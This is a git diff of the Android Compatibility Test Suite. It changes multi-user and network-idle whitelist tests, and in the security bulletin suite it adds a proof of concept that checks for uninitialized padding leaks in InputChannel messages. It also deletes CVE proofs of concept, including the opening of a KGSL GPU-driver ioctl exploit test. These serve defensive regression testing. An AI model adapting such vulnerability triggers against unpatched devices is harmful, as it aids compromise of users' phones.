+
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="913" />
+ <activity android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+
+ <!-- self-instrumenting test package. -->
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for JVMTI"
+ android:targetPackage="android.jvmti.cts.run_test_913" >
+ </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 3fcbba9..01e7795 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -29,13 +29,13 @@
* Base class for multi user tests.
*/
public class BaseMultiUserTest implements IDeviceTest {
- protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
protected boolean mIsSplitSystemUser;
+ protected int mInitialUserId;
protected int mPrimaryUserId;
- /** Users we shouldn't delete in the tests */
+
+ /** Users we shouldn't delete in the tests. */
private ArrayList<Integer> mFixedUsers;
private ITestDevice mDevice;
@@ -44,22 +44,21 @@
public void setUp() throws Exception {
mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
mIsSplitSystemUser = checkIfSplitSystemUser();
+
+ mInitialUserId = getDevice().getCurrentUser();
mPrimaryUserId = getDevice().getPrimaryUserId();
- mFixedUsers = new ArrayList<>();
- mFixedUsers.add(mPrimaryUserId);
- if (mPrimaryUserId != USER_SYSTEM) {
- mFixedUsers.add(USER_SYSTEM);
- }
- getDevice().switchUser(mPrimaryUserId);
- removeTestUsers();
+
+ // Test should not modify / remove any of the existing users.
+ mFixedUsers = getDevice().listUsers();
}
@After
public void tearDown() throws Exception {
- if (getDevice().getCurrentUser() != mPrimaryUserId) {
- CLog.w("User changed during test. Switching back to " + mPrimaryUserId);
- getDevice().switchUser(mPrimaryUserId);
+ if (getDevice().getCurrentUser() != mInitialUserId) {
+ CLog.w("User changed during test. Switching back to " + mInitialUserId);
+ getDevice().switchUser(mInitialUserId);
}
+ // Remove the users created during this test.
removeTestUsers();
}
@@ -131,4 +130,4 @@
|| "1".equals(commandOuput) || "true".equals(commandOuput)
|| "on".equals(commandOuput);
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 9a4f829..1d8a13e 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -45,19 +45,11 @@
*/
@RunWith(DeviceJUnit4ClassRunner.class)
public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
- private int mInitialUserId;
- private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
+ private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
@Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
- @Before
- public void setUp() throws Exception {
- CLog.e("setup_CreateUsersNoAppCrashesTest");
- super.setUp();
- mInitialUserId = getDevice().getCurrentUser();
- }
-
@Presubmit
@Test
public void testCanCreateGuestUser() throws Exception {
@@ -70,7 +62,6 @@
false /* ephemeral */);
assertSwitchToNewUser(userId);
assertSwitchToUser(userId, mInitialUserId);
-
}
@Presubmit
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index 0e141c05..7bf7bd4 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -175,6 +175,25 @@
assertBackgroundNetworkAccess(true);
}
+ public void testAppIdleNetworkAccess_idleWhitelisted() throws Exception {
+ if (!isSupported()) return;
+
+ setAppIdle(true);
+ assertAppIdle(true);
+ assertBackgroundNetworkAccess(false);
+
+ addAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(true);
+
+ removeAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+
+ // Make sure whitelisting a random app doesn't affect the tested app.
+ addAppIdleWhitelist(mUid + 1);
+ assertBackgroundNetworkAccess(false);
+ removeAppIdleWhitelist(mUid + 1);
+ }
+
public void testAppIdle_toast() throws Exception {
if (!isSupported()) return;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 5232372..ec5a877 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -26,10 +26,6 @@
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
import android.app.ActivityManager;
import android.app.Instrumentation;
import android.app.NotificationManager;
@@ -53,6 +49,10 @@
import android.text.TextUtils;
import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
/**
* Superclass for tests related to background network restrictions.
*/
@@ -744,6 +744,20 @@
assertRestrictBackground("restrict-background-blacklist", uid, expected);
}
+ protected void addAppIdleWhitelist(int uid) throws Exception {
+ executeShellCommand("cmd netpolicy add app-idle-whitelist " + uid);
+ assertAppIdleWhitelist(uid, true);
+ }
+
+ protected void removeAppIdleWhitelist(int uid) throws Exception {
+ executeShellCommand("cmd netpolicy remove app-idle-whitelist " + uid);
+ assertAppIdleWhitelist(uid, false);
+ }
+
+ protected void assertAppIdleWhitelist(int uid, boolean expected) throws Exception {
+ assertRestrictBackground("app-idle-whitelist", uid, expected);
+ }
+
private void assertRestrictBackground(String list, int uid, boolean expected) throws Exception {
final int maxTries = 5;
boolean actual = false;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 87f9d77..74875cd 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -306,4 +306,84 @@
setBatterySaverMode(false);
}
}
+
+ /**
+ * Tests that the app idle whitelist works as expected when doze and appIdle mode are enabled.
+ */
+ public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+
+ setDozeMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ // UID still shouldn't have access because of Doze.
+ addAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+
+ removeAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setDozeMode(false);
+ }
+ }
+
+ public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+
+ setDozeMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setDozeMode(false);
+ removeAppIdleWhitelist(mUid);
+ }
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+
+ setBatterySaverMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addAppIdleWhitelist(mUid);
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setBatterySaverMode(false);
+ removeAppIdleWhitelist(mUid);
+ }
+ }
}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index fe9d36c..5f5ea43 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -156,6 +156,11 @@
"testBackgroundNetworkAccess_enabled");
}
+ public void testAppIdleMetered_idleWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
+ "testAppIdleNetworkAccess_idleWhitelisted");
+ }
+
// TODO: currently power-save mode and idle uses the same whitelist, so this test would be
// redundant (as it would be testing the same as testBatterySaverMode_reinstall())
// public void testAppIdle_reinstall() throws Exception {
@@ -181,6 +186,11 @@
"testBackgroundNetworkAccess_enabled");
}
+ public void testAppIdleNonMetered_idleWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
+ "testAppIdleNetworkAccess_idleWhitelisted");
+ }
+
public void testAppIdleNonMetered_whenCharging() throws Exception {
runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
"testAppIdleNetworkAccess_whenCharging");
@@ -281,6 +291,21 @@
"testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
}
+ public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testDozeAndAppIdle_appIdleWhitelist");
+ }
+
+ public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists");
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists");
+ }
+
/*******************
* Helper methods. *
*******************/
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5e1c4a2..0dce091 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -36,7 +36,6 @@
<option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" />
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -57,12 +56,10 @@
<!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
<!--__________________-->
@@ -161,18 +158,16 @@
<option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
<!--__________________-->
- <!-- Bulletin 2018-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2018-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
<!-- Bulletin 2018-10 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
<option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
+ <!--__________________-->
+ <!-- Bulletin 2019-03 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+
<option name="append-bitness" value="true" />
</target_preparer>
<!-- Support for 64-bit software codecs has been deprecated from o-mr1-sts-release -->
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
similarity index 80%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
index 65fe025..cd2dbcd 100755
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
@@ -15,22 +15,24 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
- liblog
-
+LOCAL_MODULE := Bug-115739809
+LOCAL_SRC_FILES := poc.cpp
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := \
+ libbase \
+ libinput \
+ libutils \
+ liblog
+
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Wall -Werror -Wextra
LOCAL_LDFLAGS += -fPIE -pie
LOCAL_LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
new file mode 100755
index 0000000..5b40654
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -0,0 +1,210 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "InputChannelTest"
+
+#include "../includes/common.h"
+
+#include <android-base/stringprintf.h>
+#include <input/InputTransport.h>
+
+using namespace android;
+using android::base::StringPrintf;
+
+static std::string memoryAsHexString(const void* const address, size_t numBytes) {
+ std::string str;
+ for (size_t i = 0; i < numBytes; i++) {
+ str += StringPrintf("%02X ", static_cast<const uint8_t* const>(address)[i]);
+ }
+ return str;
+}
+
+/**
+ * There could be non-zero bytes in-between InputMessage fields. Force-initialize the entire
+ * memory to zero, then only copy the valid bytes on a per-field basis.
+ * Input: message msg
+ * Output: cleaned message outMsg
+ */
+static void sanitizeMessage(const InputMessage& msg, InputMessage* outMsg) {
+ memset(outMsg, 0, sizeof(*outMsg));
+
+ // Write the header
+ outMsg->header.type = msg.header.type;
+
+ // Write the body
+ switch(msg.header.type) {
+ case InputMessage::TYPE_KEY: {
+ // uint32_t seq
+ outMsg->body.key.seq = msg.body.key.seq;
+ // nsecs_t eventTime
+ outMsg->body.key.eventTime = msg.body.key.eventTime;
+ // int32_t deviceId
+ outMsg->body.key.deviceId = msg.body.key.deviceId;
+ // int32_t source
+ outMsg->body.key.source = msg.body.key.source;
+ // int32_t displayId
+ outMsg->body.key.displayId = msg.body.key.displayId;
+ // int32_t action
+ outMsg->body.key.action = msg.body.key.action;
+ // int32_t flags
+ outMsg->body.key.flags = msg.body.key.flags;
+ // int32_t keyCode
+ outMsg->body.key.keyCode = msg.body.key.keyCode;
+ // int32_t scanCode
+ outMsg->body.key.scanCode = msg.body.key.scanCode;
+ // int32_t metaState
+ outMsg->body.key.metaState = msg.body.key.metaState;
+ // int32_t repeatCount
+ outMsg->body.key.repeatCount = msg.body.key.repeatCount;
+ // nsecs_t downTime
+ outMsg->body.key.downTime = msg.body.key.downTime;
+ break;
+ }
+ case InputMessage::TYPE_MOTION: {
+ // uint32_t seq
+ outMsg->body.motion.seq = msg.body.motion.seq;
+ // nsecs_t eventTime
+ outMsg->body.motion.eventTime = msg.body.motion.eventTime;
+ // int32_t deviceId
+ outMsg->body.motion.deviceId = msg.body.motion.deviceId;
+ // int32_t source
+ outMsg->body.motion.source = msg.body.motion.source;
+ // int32_t displayId
+ outMsg->body.motion.displayId = msg.body.motion.displayId;
+ // int32_t action
+ outMsg->body.motion.action = msg.body.motion.action;
+ // int32_t actionButton
+ outMsg->body.motion.actionButton = msg.body.motion.actionButton;
+ // int32_t flags
+ outMsg->body.motion.flags = msg.body.motion.flags;
+ // int32_t metaState
+ outMsg->body.motion.metaState = msg.body.motion.metaState;
+ // int32_t buttonState
+ outMsg->body.motion.buttonState = msg.body.motion.buttonState;
+ // int32_t edgeFlags
+ outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
+ // nsecs_t downTime
+ outMsg->body.motion.downTime = msg.body.motion.downTime;
+ // float xOffset
+ outMsg->body.motion.xOffset = msg.body.motion.xOffset;
+ // float yOffset
+ outMsg->body.motion.yOffset = msg.body.motion.yOffset;
+ // float xPrecision
+ outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
+ // float yPrecision
+ outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
+ // uint32_t pointerCount
+ outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
+ //struct Pointer pointers[MAX_POINTERS]
+ for (size_t i = 0; i < msg.body.motion.pointerCount; i++) {
+ // PointerProperties properties
+ outMsg->body.motion.pointers[i].properties.id =
+ msg.body.motion.pointers[i].properties.id;
+ outMsg->body.motion.pointers[i].properties.toolType =
+ msg.body.motion.pointers[i].properties.toolType;
+ // PointerCoords coords
+ outMsg->body.motion.pointers[i].coords.bits =
+ msg.body.motion.pointers[i].coords.bits;
+ const uint32_t count = BitSet64::count(msg.body.motion.pointers[i].coords.bits);
+ memcpy(&outMsg->body.motion.pointers[i].coords.values[0],
+ &msg.body.motion.pointers[i].coords.values[0],
+ count * sizeof(msg.body.motion.pointers[i].coords.values[0]));
+ }
+ break;
+ }
+ case InputMessage::TYPE_FINISHED: {
+ outMsg->body.finished.seq = msg.body.finished.seq;
+ outMsg->body.finished.handled = msg.body.finished.handled;
+ break;
+ }
+ }
+}
+
+/**
+ * Return false if vulnerability is found for a given message type
+ */
+static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
+ InputMessage serverMsg;
+ // Set all potentially uninitialized bytes to 1, for easier comparison
+
+ memset(&serverMsg, 1, sizeof(serverMsg));
+ serverMsg.header.type = type;
+ if (type == InputMessage::TYPE_MOTION) {
+ serverMsg.body.motion.pointerCount = MAX_POINTERS;
+ }
+ status_t result = server->sendMessage(&serverMsg);
+ if (result != OK) {
+ ALOGE("Could not send message to the input channel");
+ return false;
+ }
+
+ InputMessage clientMsg;
+ result = client->receiveMessage(&clientMsg);
+ if (result != OK) {
+ ALOGE("Could not receive message from the input channel");
+ return false;
+ }
+ if (serverMsg.header.type != clientMsg.header.type) {
+ ALOGE("Types do not match");
+ return false;
+ }
+
+ if (clientMsg.header.padding != 0) {
+ ALOGE("Found padding to be uninitialized");
+ return false;
+ }
+
+ InputMessage sanitizedClientMsg;
+ sanitizeMessage(clientMsg, &sanitizedClientMsg);
+ if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
+ ALOGE("Client received un-sanitized message");
+ ALOGE("Received message: %s", memoryAsHexString(&clientMsg, clientMsg.size()).c_str());
+ ALOGE("Expected message: %s",
+ memoryAsHexString(&sanitizedClientMsg, clientMsg.size()).c_str());
+ return false;
+ }
+
+ return true;
+}
+
+/**
+ * Create an unsanitized message
+ * Send
+ * Receive
+ * Compare the received message to a sanitized expected message
+ * Do this for all message types
+ */
+int main() {
+ sp<InputChannel> server, client;
+
+ status_t result = InputChannel::openInputChannelPair("channel name", server, client);
+ if (result != OK) {
+ ALOGE("Could not open input channel pair");
+ return 0;
+ }
+
+ int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
+ for (int type : types) {
+ bool success = checkMessage(server, client, type);
+ if (!success) {
+ ALOGE("Check message failed for type %i", type);
+ return EXIT_VULNERABLE;
+ }
+ }
+
+ return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
deleted file mode 100755
index c6a330f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <cutils/log.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/falloc.h>
-#include <linux/magic.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/utsname.h>
-#include <sys/vfs.h>
-#include <unistd.h>
-
-int main(void) {
- int fd = -1, result = -1;
- char tmpFile[32];
- struct statfs sfs;
-
- memset(tmpFile, 0, sizeof(tmpFile));
- strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
-
- fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
- if (fd < 0) {
- ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
- return -1;
- }
-
- fstatfs(fd, &sfs);
- if (sfs.f_type == EXT4_SUPER_MAGIC) {
- result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
- if (result < 0 && errno == EOPNOTSUPP) {
- ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
- ALOGE("fallocate result EOPNOTSUPP");
- }
- }
-
- if (fd) {
- close(fd);
- }
-
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
deleted file mode 100644
index f4c50fe..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2504
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-
-LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
deleted file mode 100644
index b272328..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-* http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-enum kgsl_user_mem_type {
- KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
- KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
- KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
- KGSL_USER_MEM_TYPE_ION = 0x00000003,
- KGSL_USER_MEM_TYPE_MAX = 0x00000007,
-};
-
-/*
- * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
- * leave a good value for allocated memory. In the flags we use
- * 0 to indicate allocated memory and thus need to add 1 to the enum
- * values.
- */
-#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
-
-#define KGSL_MEMFLAGS_NOT_USERMEM 0
-#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
-#define KGSL_MEMFLAGS_USERMEM_ASHMEM \
- KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
-#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
-#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
-
-/* add a block of pmem, fb, ashmem or user allocated address
- * into the GPU address space */
-struct kgsl_map_user_mem {
- int fd;
- unsigned long gpuaddr; /*output param */
- size_t len;
- size_t offset;
- unsigned long hostptr; /*input param */
- enum kgsl_user_mem_type memtype;
- unsigned int flags;
-};
-
-#define IOCTL_KGSL_MAP_USER_MEM \
- _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
-
-/* remove memory from the GPU's address space */
-struct kgsl_sharedmem_free {
- unsigned long gpuaddr;
-};
-
-#define IOCTL_KGSL_SHAREDMEM_FREE \
- _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
-
-#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
-#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
-
-#define TRUE 1
-
-struct kgsl_map_user_mem allocArg;
-struct kgsl_sharedmem_free freeArg;
-
-int fd;
-int thread_exit = 1;
-
